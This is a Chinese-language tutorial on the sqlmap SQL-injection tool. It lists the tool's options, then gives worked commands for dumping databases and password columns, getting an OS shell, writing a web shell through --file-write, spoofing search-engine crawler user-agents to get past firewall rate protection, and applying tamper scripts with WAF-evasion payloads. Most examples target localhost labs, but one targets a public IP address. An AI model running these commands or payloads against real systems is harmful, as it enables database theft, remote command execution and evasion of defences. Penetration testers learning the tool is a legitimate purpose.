SQLMAP详细使用教程-参数用法-带实例


一:参数

知识框图:

请添加图片描述
知识框图参考链接:

https://www.cnblogs.com/bmjoker/p/9326258.html

Options

    -h, --help 查看帮助,没什么好说的
    -hh 查看全部的帮助
    --version 查看版本
    -v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面。

Target

    -d 直接连目标后端接数据库,而不是使用sql注入漏洞,直接通过目标的侦听端口连接,当然需要有目标数据库的账号名和密码。例:-d "mysql://user:password@192.168.75.128:3389/databasename" --dbs 查询非常快。
    -u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
    -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录。例: -l log.txt
    -x 站点地图,提交给sql一个xml文件。
    -m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例: -m target.txt
    -r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
    -g 使用google引擎搜索类似的网址,并且多目标检测。例: -g "inurl:\".php?id=1\"" \是转义
    -c 将使用的命令写在一个文件中,让sqlmap执行文件中的命令,我们可以用--save命令将配置写入文件。

Request

    --method=METHOD 指定是get方法还是post方法。例: --method=GET --method=POST
    --data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
    --param-del=PARA. 指明使用的变量分割符。例: -u "www.abc.com/index.php?id=1" --data="name=1;pass=2" --param-del=";"
    --cookie=COOKIE 指定测试时使用的cookie,通常在一些需要登录的站点会使用。例: -u "www.abc.com/index.php?id=1" --cookie="a=1;b=2"
    --cookie-del=COO.. 和前面的 --param-del=PARA. 类似,就是指明分割cookie的字符。
    --load-cookies=L.. 从包含Netscape / wget格式的cookie的文件中加载cookie。
    --drop-set-cookie 默认情况下,sqlmap是开启set-cookie功能的,也就是当收到一个含有set-cookie的http包的时候,下次sql会使用新的cookie进行发包,如果使用这条命令,就会关闭这个功能。在level>=2时会检测cookie注入。
    --user-agent=AGENT 指定一个user-agent的值进行测试。例: --user-agent="aaaaaaa" 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
    --random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
    --host=HOST 指定http包中的host头参数。例: --host="aaaaaa" 在level>=5时才会检查host头注入。\n是换行
    --referer=REFERER 指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。
    -H --headers 额外的header头,每个占一行。例:--headers="host:www.a.com\nUser-Agent:yuangh"
    --headers=HEADERS 跟上边一样,再举一个例子: --headers="Accept-Language: fr\nETag: 123" 注意所有构造http包的部分均区分大小写
    --auth-type=AUTH.. 基于http身份验证的种类。例: --auth-type Basic/Digest/NTLM 一共有三种认证方式。
    --auth-cred=AUTH.. 使用的认证,例: --auth-type Basic --auth-cred "user:password"
    --auth-file=AUTH.. 使用.PEM文件中的认证。例:--auth-file="AU.PEM" 少见。
    --ignore-code=IG.. 无视http状态码。例: --ignore-code=401
    --ignore-proxy 无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。
    --ignore-redirects 无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。
    --ignore-timeouts 忽略连接超时。
    --proxy=PROXY 指定一个代理。例: --proxy="127.0.0.1:8087" 使用GoAgent代理。
    --proxy-cred=PRO.. 代理需要的认证。例: --proxy="name:password"
    --proxy-file=PRO.. 从一个文件加载代理的认证。
    --tor 使用tor匿名网络,不懂。
    --tor-port=TORPORT 设置默认的tor代理端口,不懂+2。
    --tor-type=TORTYPE 设置tor代理种类,(HTTP, SOCKS4 or SOCKS5 (默认)),不懂+3。
    --check-tor 检查是否正确使用Tor,不懂+4。
    --delay=DELAY 每次发包的延迟时间,单位为秒,浮点数。例:--delay 2.5 有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。
    --timeout=TIMEOUT 请求超时的时间,单位为秒,浮点数,默认30s。
    --retries=RETRIES 超时重连次数,默认三次。例: --retries=5
    --randomize=RPARAM 参数的长度,类型与输入值保持一致的前提下,每次请求换参数的值。有时候反复的提交同一个参数会引起服务器注意。
    --safe-url=SAFEURL 用法和-u类似,就是一个加载测试url的方法,但额外功能是防止有时候时间长了不通讯服务器会销毁session,开启这种功能会隔一段时间发一个包保持session。
    --safe-post=SAFE.. 和上面的一样,只是使用post的方式发送数据。
    --safe-req=SAFER.. 和上面的一样,只是从一个文件获得目标。
    --safe-freq=SAFE.. 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的。通常用于盲注。
    --skip-urlencode 跳过url编码,毕竟不排除有的奇葩网站url不遵守RFC标准编码。
    --csrf-token=CSR.. 保持csrf令牌的token。
    --csrf-url=CSRFURL 访问url地址获取csrf的token。
    --force-ssl 强制使用ssl。
    --hpp 使用http参数污染,通常http传递参数会以名称-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的,就可能造成参数篡改。
    --eval=EVALCODE 执行一段指定的python代码。例: -u "www.abc.com/index.php?id=1" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Optimization

    -o 开启下面三项(--predict-output,--keep-alive, --null-connection)
    --predict-output 预设的输出,可以理解为猜一个表存在不存在,根据服务器返回值来进行判断,有点类似暴力破解,但和暴力破解又不同,这个是一个范围性的暴力破解,一次一次的缩小范围。
    --keep-alive 使用http(s)长链接,性能更好,避免重复建立链接的开销,但占用服务器资源,而且与--proxy不兼容。
    --null-connection 只看页面返回的大小值,而不看具体内容,通常用于盲注或者布尔的判断,只看对错,不看内容。
    --threads=THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。

Injection

    -p TESTPARAMETER 知道测试的参数,使用这个的话--level 参数就会失效。例: -p "user-agent,refere"
    --skip=SKIP 排除指定的参数。例: --level 5 --skip="id,user-agent"
    --skip-static 跳过测试静态的参数。
    --param-exclude=.. 使用正则表达式跳过测试参数。
    --dbms=DBMS 指定目标数据库类型。例: --dbms="MySQL<5.0>" Oracle<11i> Microsoft SQL Server<2005>
    --dbms-cred=DBMS.. 数据库的认证。利: --dbms-cred="name:password"
    --os=OS 指定目标操作系统。例: --os="Linux/Windows"
    --invalid-bignum 通常情况下sqlmap使用负值使参数失效,比如id=1->id=-1,开启这个之后使用大值使参数失效,如id=9999999999。
    --invalid-logical 使用逻辑使参数失效,如id=1 and 1=2。
    --invalid-string 使用随机字符串使参数失效。
    --no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。
    --no-escape 用于混淆和避免出错,使用单引号的字符串的时候,有时候会被拦截,sqlmap使用char()编码。例如:select “a”-> select char(97)。
    --prefix=PREFIX 指定payload前缀,有时候我们猜到了服务端代码的闭合情况,需要使用这个来指定一下。例: -u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
    --suffix=SUFFIX 指定后缀,例子同上。
    --tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。

Detection

    --level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
    --risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
    --string=STRING 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。
    --not-string=NOT.. 同理,这个参数代表看不见什么才是真。
    --regexp=REGEXP 通常和上面两种连用,使用正则表达式来判断。
    --code=CODE 也是在基于布尔的注入时,只不过指定的是http返回码。
    --text-only 同上,只不过指定的是页面里的一段文本内容。
    --titles 同上,只不过指定的是页面的标题。

Techniques

    --technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
    --time-sec=TIMESEC 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
    --union-cols=UCOLS 联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
    --union-char=UCHAR 联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
    --union-from=UFROM 联合查询从之前的查询结果中选择列,和上面的类似。
    --dns-domain=DNS.. 如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
    --second-order=S.. 在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php

Fingerprint

    -f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。

Enumeration

    -a, --all 查找全部,很暴力。直接用-a
    -b, --banner 查找数据库管理系统的标识。直接用-b
    --current-user 当前用户,常用,直接用--current-user
    --current-db 当前数据库,常用,直接用--current-db
    --hostname 主机名,直接用--hostname
    --is-dba   检测DBMS当前用户是否DBA
    --users 查询一共都有哪些用户,常用,直接用--users
    --passwords 查询用户密码的哈希,常用,直接用--passwords
    --privileges 查看特权,常用。例: --privileges -U username (CU 就是当前用户)
    --roles 查看一共有哪些角色(权限),直接用--roles
    --dbs 目标服务器中有什么数据库,常用,直接用--dbs
    --tables 目标数据库有什么表,常用,直接用--tables
    --columns 目标表中有什么列,常用,直接用--colums
    --schema 目标数据库数据库系统管理模式。
    --count 查询结果返回一个数字,即多少个。
    --dump 查询指定范围的全部数据。例: --dump -D admin -T admin -C username
    --dump-all 查询全部数据。例: --dump-all --exclude-sysdbs
    --search 搜索列、表和/或数据库名称。
    --comments 检索数据库的备注。
    -D DB 指定从某个数据库查询数据,常用。例: -D admindb
    -T TBL 指定从某个表查询数据,常用。例: -T admintable
    -C COL 指定从某个列查询数据,常用。例: -C username
    -X EXCLUDE 指定数据库的标识符。
    -U USER 一个用户,通常和其他连用。例: --privileges -U username (CU 就是当前用户)
    --exclude-sysdbs 除了系统数据库。
    --pivot-column=P.. 枢轴列名,不懂。
    --where=DUMPWHERE 在dump表时使用where限制条件。
    --start=LIMITSTART 设置一个起始,通常和--dunmp连用。
    --stop=LIMITSTOP 同上,设置一个结束。
    --first=FIRSTCHAR 以第一个查询输出的字符检索,不懂。
    --last=LASTCHAR 以最后一个查询输出的字符检索,不懂+2。
    --sql-query=QUERY 执行一个sql语句。
    --sql-shell 创建一个sql的shell。
    --sql-file=SQLFILE 执行一个给定文件中的sql语句

Brute force

    --common-tables 检查有没有记录表信息的公共表,比如mysql>=5.0会有一个information_schema库,储存了整个数据库的基本信息。有这个会方便很多。
    --common-columns 有没有记录公共列的表,比如Access就没有列信息。这两种方法都会使用暴力破解。

User-defined function injection

    --udf-inject 编译共享库创建并上传至DB Server,生成UDF实现高级注入,不懂。
    --shared-lib=SHLIB 同上,不懂。

File system access

    --file-read=RFILE 读取目标站点的一个文件。例: --file-read="/etc/password"
    --file-write=WFILE 写入到目标站点的一个文件,通常和--sql-query 连用。例: --sql-query="select "一句话木马" --file-write="shell.php"
    --file-dest=DFILE 同上,只是使用绝对路径写入。

Operating system access

    --os-cmd=OSCMD 执行一句系统命令。例: --os-shell="ipconfig -all"
    --os-shell 创建一个对方操作系统的shell,远程执行系统命令。直接用即可--os-shell
    --os-pwn 同上,获取一个OOB shell,meterpreter或VNC。
    --os-smbrelay 同上,一键获取一个OOB shell,meterpreter或VNC。
    --os-bof 利用缓冲区溢出。
    --priv-esc 自动提权,数据库进程用户权限提升。
    --msf-path=MSFPATH Metasploit Framework本地的安装路径。
    --tmp-path=TMPPATH 远程临时文件目录的绝对路径。

Windows registry access

    --reg-read 读一个Windows注册表。
    --reg-add 添加一个注册表。
    --reg-del 删一个注册表。
    --reg-key=REGKEY 和之前连用,注册表key值。
    --reg-value=REGVAL 和之前连用,注册表值。
    --reg-data=REGDATA 和之前连用,注册表数据。
    --reg-type=REGTYPE 和之前连用,注册表类别。

General

    -s SESSIONFILE 从一个文件加载保存的session。
    -t TRAFFICFILE 记录流文件的保存位置。
    --batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
    --binary-fields=.. 指定二进制结果的字段。
    --check-internet 在评估目标之前检查互联网连接,新功能。
    --crawl=CRAWLDEPTH 从起始位置爬取的深度。例: --crawl=3
    --crawl-exclude=.. 除了哪些页面之外全部爬取。例: --crawl-exclude="abc.com/logout.php"
    --csv-del=CSVDEL 指定在CSV输出中使用的分隔字符。
    --charset=CHARSET 强制字符串编码。例: --charset=GBK
    --dump-format=DU.. 转储数据的格式 ,有(CSV (默认), HTML,SQLITE)三种。
    --encoding=ENCOD.. 用于数据检索的字符编码。例: --encoding=GBK
    --eta 显示每个输出的预计到达时间 。
    --flush-session 清空会话信息。
    --forms 在目标URL上解析和测试表单。
    --fresh-queries sqlmap每次查询都会讲查询结果储存在.sqlmap文件夹中,下次再有相同测查询会调用上次的查询结果,使用这个参数可以忽略文件中有的记载结果,重新查询。
    --har=HARFILE 将所有http流量记录在一个har文件中。
    --hex dump非ascii字符时,将其编码为16进制,收到后解码还原。
    --output-dir=OUT.. 输出结果至文件。例: --output-dir=/tmp
    --parse-errors 解析并显示报错信息。
    --save=SAVECONFIG 将使用的命令保存到配置ini文件
    --scope=SCOPE 和-l类似,只是这个可以过滤信息,使用正则表达式过滤网址。
    --test-filter=TE.. 根据有效负载和/或标题,不懂。
    --test-skip=TEST.. 根据有效负载和/或标题跳过测试,不懂+2。
    --update 更新sqlmap。

Miscellaneous

    -z MNEMONICS 参数助记符,比较傻的一个功能。例: -z "bat,randoma,ign,tec=BEU" 其实就是只要你写的字母可以唯一匹配其他参数,就可以生效。
    --alert=ALERT 在找到SQL注入时运行主机OS命令。
    --answers=ANSWERS 设置问题答案,在刚刚的--batch 可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例: --answer "extending=N"
    --beep 在问题和/或当SQL注入被发现时发出嘟嘟声。。。。。。。。。
    --cleanup 从SqLMAP特定的UDF和表中找数据库,类似暴力破解。
    --dependencies 检查缺少的Sql映射依赖项。
    --disable-coloring 禁用控制台输出着色。
    --gpage=GOOGLEPAGE 在指定页使用google结果,不懂。
    --identify-waf 识别目标的防火墙。
    --mobile cosplay 手机。
    --offline 在脱机模式下工作。
    --purge-output 情况输出文件夹。
    --skip-waf 跳过WAF/IPS/IDS保护的启发式检测。
    --smart 有大量检测目标时候,只选择基于错误的检测。
    --sqlmap-shell 创建一个交互的sqlmap_shell,不懂。
    --tmp-dir=TMPDIR 更改存储临时文件的本地目录。
    --web-root=WEBROOT 设置Web服务器文档根目录。例: --web-root="/var/www"
    --wizard 新手教程。

二:实例:

1.sqlmap基本步骤(数据库,表,列,字段)

判断是否存在注入点sqlmap -u http://127.0.0.1/sql/Less-1/?id=1
查看所有数据库sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 --dbs
查看当前使用的数据库sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 --current-db
查看数据表sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables
查看列名sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns
查看数据sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C password,username --dump
检测DBMS当前用户是否DBAsqlmap -u http://127.0.0.1/sql/Less-1/?id=1 --is-dba
查看当前用户sqlmap -u" http://43.138.24.18/SQL/Less-1/?id=1" --current-user

2.Sqlmap执行sql语句

Sqlmap –u “http://127.0.0.1/1.php?id=1” --sql-query=”select version()”

Sqlmap –u “http://127.0.0.1/1.php?id=1” --sql-shell

Sqlmap –u “http://127.0.0.1/1.php?id=1” --sql-file=“c:\1.sql”

3.Sqlmap执行系统命令

sqlmap –u “http://127.0.0.1/1.php?id=1” --os-cmd=whoami

sqlmap –u “http://127.0.0.1/1.php?id=1” --os-shell

4.–file-write --file-dest:上传文件到数据库服务器中

该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。

sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-write "C:/1.txt" --file-dest "C:/windows/Temp/1.php"

–file-write 自己要上传的文件路径(攻击者电脑)

–file-dest 上传到的位置(目标机器位置)绝对路径

请添加图片描述

5.–random-agent: 使用随机的浏览器代理头 --user-agent :使用浏览器代理头

–random-agent 随机浏览器代理头。

sqlmap -u "http://127.0.0.1/sql/test1.php/?id=1"  --random-agent

–user-agent 使用浏览器代理头

sqlmap -u "http://127.0.0.1/sql/test1.php/?id=1"  --user-agent="saaa"
搜索引擎的随机头:
百度搜索User-Agent:
百度 PC UA
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

百度移动 UA
Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

百度图片UA
Baiduspider-image+(+http://www.baidu.com/search/spider.htm)

神马搜索User-Agent:
神马搜索 PC UA
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.36

神马搜索移动 UA
Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e YisouSpider/5.0 Safari/602.1

谷歌User-Agent:
谷歌 PC UA
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

谷歌移动UA
AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile Safari

谷歌图片UA
Mozilla/5.0 (compatible; Googlebot-Image/1.0; +http://www.google.com/bot.html)

搜狗User-Agent:
搜索 PC UA
Sogou+web+spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

搜狗图片 UA
Sogou+Pic+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

搜狗新闻UA
Sogou+News+Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

搜狗视频UA
Sogou+Video+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

360搜索User-Agent:
360搜索UA
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);

360移动UA
Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko)Version/4.0 Mobile Safari/534.30; 360Spider
Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; HaosouSpider

360安全UA
360spider (http://webscan.360.cn)

必应User-Agent:
Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)

搜搜User-Agent:
搜搜UA:
Sosospider+(+http://help.soso.com/webspider.htm)

搜搜图片UA:
Sosoimagespider+(+http://help.soso.com/soso-image-spider.htm)

雅虎User-Agent:
雅虎中文UA:
Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)

雅虎英文UA:
Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

头条搜索UA介绍
头条搜索的爬虫UA为“Bytespider”首写字母为大写,例如:
PC
Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
Android
Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)
iOS
Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/7.0 Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)

没有使用代理头:就可以遭到防火墙的拦截
请添加图片描述

使用浏览器代理头,利用搜索引擎的user-agent,可以绕过防火墙CC流量防护

请添加图片描述

使用随机浏览器代理头

请添加图片描述

6.–tamper 绕过脚本

apostrophemask.py 适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper("1' AND SLEEP(5)#")
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar

space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT+id+FROM+users

nonrecursivereplacement.py
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前:tamper('1 UNION SELECT 2--')
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--

space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Did%0DFROM%0Ausers

unionalltounion.py
适用数据库:ALL
作用:将union all select 替换为union select
使用脚本前:tamper('-1 UNION ALL SELECT')
使用脚本后:-1 UNION SELECT

securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'

space2dash.py
适用数据库:ALL
作用:将空格替换为--,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

space2mssqlblank.py
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Eid%0DFROM%07users

between.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #替换>
使用脚本前:tamper('1 AND A > B--')
使用脚本后:1 AND A NOT BETWEEN 0 AND B--

percentage.py
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:tamper('SELECT FIELD FROM TABLE')
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py
适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password

charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

randomcase.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper('INSERT')
使用脚本后:INseRt

charunicodeencode.py
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的unicode编码
使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT/**/id/**/FROM/**/users

equaltolike.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:tamper('SELECT * FROM users WHERE id=1')
使用脚本后:SELECT * FROM users WHERE id LIKE 1

equaltolike.py
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为GREATEST,绕过对>的过滤
使用脚本前:tamper('1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper('IFNULL(1, 2)')
使用脚本后:IF(ISNULL(1),2,1)

modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!30874AND 2>1*/--

space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Bid%0DFROM%0Cusers

modsecurityzeroversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/*!00000*/)进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!00000AND 2>1*/--

space2mysqldash.py
适用数据库:MySQL、MSSQL
作用:将空格替换为 -- ,并追随一个换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--%0AAND--%0A9227=9227

bluecoat.py
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper('SELECT id FROM users where id = 1')
使用脚本后:SELECT%09id FROM users where id LIKE 1

versionedkeywords.py
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

halfversionedmorekeywords.py
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa

space2morehash.py
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

apostrophenullencode.py
适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %00%271%00%27=%00%271

appendnullbyte.py
适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1%00

chardoubleencode.py
适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

randomcomments.py
适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper('INSERT')
使用脚本后:I/**/N/**/SERT

symboliclogical.py
适用数据库:ALL
作用:AND OR 替换为 && ||
